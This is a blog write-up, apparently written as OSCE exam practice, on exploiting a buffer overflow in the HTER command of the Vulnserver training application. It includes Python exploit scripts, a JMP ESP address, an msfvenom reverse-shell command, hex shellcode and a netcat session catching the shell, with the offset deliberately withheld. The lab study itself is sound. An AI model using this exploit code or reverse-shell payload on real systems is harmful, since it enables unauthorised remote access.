This series of posts will focus on the concepts I’m learning/practicing in preparation for CTP/OSCE. In this series of posts, I plan on exploring:
- vanilla EIP overwrite,
- SEH overwrite, and
Writing these entries will force me to become intimately familiar with these topics, and hopefully you can get something out of them as well!
This particular post is about exploiting the ‘HTER’ command on Vulnserver.
Long story short here, Boofuzz was giving me all kinds of different payloads which were all crashing the application but none of them were consistent. The only thing I picked up from the fuzzing payloads was:
- Our application is vulnerable to a buffer overflow
- All the payloads were prepended with:
So I started to manually fuzz the application with just our skeleton exploit python script we’ve been using starting with a payload of:
'A' * 1000 and working my way up.
The application started to crash when I got to
'A' * 3000
#!/usr/bin/python import socket import os import sys host = "192.168.1.201" port = 9999 buffer = 'A' * 3000 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) print s.recv(1024) s.send("HTER " + buffer) print s.recv(1024) s.close()
Then I saw this in EIP.
So with 8
A values in
EIP something is not normal here. Two possibilities come to mind:
- Our 32 bit registers can now hold 8 bytes via magic
- The characters are not being interpreted/stored as ASCII, but maybe Hex?
I’m going with option two here and testing it to see if we’re right. (Psst. I actually didn’t even notice the 8
A until I found the offset and stuffed it with 8
B, but let’s pretend I’m ontop of this stuff.)
Finding an Offset
Since we are guessing these chars are being interpreted as raw hex and not ASCII, mona is out for pattern create and pattern offset. What I did was cut my 3000 char buffer in half and made it 1500
A and 1500
B and repeated with similar techniques until I found the correct offset and was able to have my payload include only 8
B and all 8 ended up in
Since this was a more manual and creative way to find the offset, I’ll leave that excercise to you and won’t spoil it!
Finding a JMP ESP
When we overflow the buffer, we see that we control
ESP so basically we have everything we need to get a fully working exploit out of this, we just need a reliable way of jumping to
ESP where we will put some NOPs and our shellcode.
!mona jmp -r esp nets us the following
JMP ESP addresses to choose from:
I went with the address at
0x625011BB, but since our application is interpreting input as hex, we have to format it as
BB115062 in our payload since we also have to remember to format it for Little Endian. So, 1. reverse order and 2. no
Our payload now looks like this:
#!/usr/bin/python import socket import os import sys host = "192.168.1.201" port = 9999 buffer = 'A' * <offset number :)> buffer += 'BB115062' buffer += 'C' * (3000 - len(buffer)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) print s.recv(1024) s.send("HTER " + buffer) print s.recv(1024) s.close()
Shellcode and Endgame
Next we just have to generate some shellcode and add our NOPs and we should be good to go. But first, let’s test and make sure our exploit worked. A cool thing about the program interpreting our characters as hex is that our
C buffer will be interpreted as pairs of
CC which is the opcode for
INT3 which will effectively become a breakpoint for us since it’s an interrupt. Pretty cool way to see if our
JMP ESP worked as intended. If it did, we should see
EIP pointing to the top of a stack of
Everything looks good!
Let’s generate some shellcode with the following command (notice we used the
-f hex option):
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.206 lport=443 -f hex EXITFUNC=thread -b "\x00"
All we need to do now is add some NOPs to prepend our shellcode, they will simply be input into our script as
90 since we’re dealing in hex.
Final Exploit Code Minus Offset ;)
#!/usr/bin/python import socket import os import sys host = "192.168.1.201" port = 9999 shellcode = ("ddc5bafbebb770d97424f45e2bc9b15283eefc31561303adf85585ad171b664de87ce" "ea8d9bc94b94a0ddeef66e6b21bfc8a1a2cb5217d034619bd02c46092e4f5aae7e532d60ab7eb9cb92" "79fe901ccd3fc0131a3ff20e4bf59e30713d2aa1f70df659442ab777c9b54db4113a72586945850fee" "6e563c59531e1dd3eb15139be1607caccd34394d0e280afed6f277f642b0c5b2cef2dfa885e511c733" "ef7579e2b8a3af798a7c407b7b0b735186b5f76d1b59879c8023684f3721f43a7223762c8a8c78b1d7" "e9723ce3f4784bed78d0be0c8aec18963558275db549c1e1e56216497b04b8afe6be4335be795bc718" "29637767358b0f3670d304ed5984f647146dde38101febbd64630b2b27a6b6ca086ed57605dce56691" "06a7d79ec73392da025979b069c5975d1733011a4bf8367a99575871840c0b89504c4c1cbb42b1848d" "4c988a57d545904e067b44b1de43c34daf43531a6b2a64bb756c8f8b872") buffer = 'A' * <offset number> buffer += 'BB115062' buffer += '90' * 16 buffer += shellcode buffer += 'C' * (3000 - len(buffer)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) print s.recv(1024) s.send("HTER " + buffer) print s.recv(1024) s.close()
And we catch our reverse shell!
astrid:~/ # nc -lvp 443 listening on [any] 443 ... 192.168.1.201: inverse host lookup failed: Unknown host connect to [192.168.1.206] from (UNKNOWN) [192.168.1.201] 49314 Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. ' is not recognized as an internal or external command, operable program or batch file. C:\Users\IEUser\Desktop>
All in all, a pretty easy exploit compared to the things we’ve been doing but little curveballs like the hex characters can really stop progress for a while. It took me a while to figure out what was going on as I had never encountered this before and my go-to’s like Mona weren’t helping. Thanks for reading!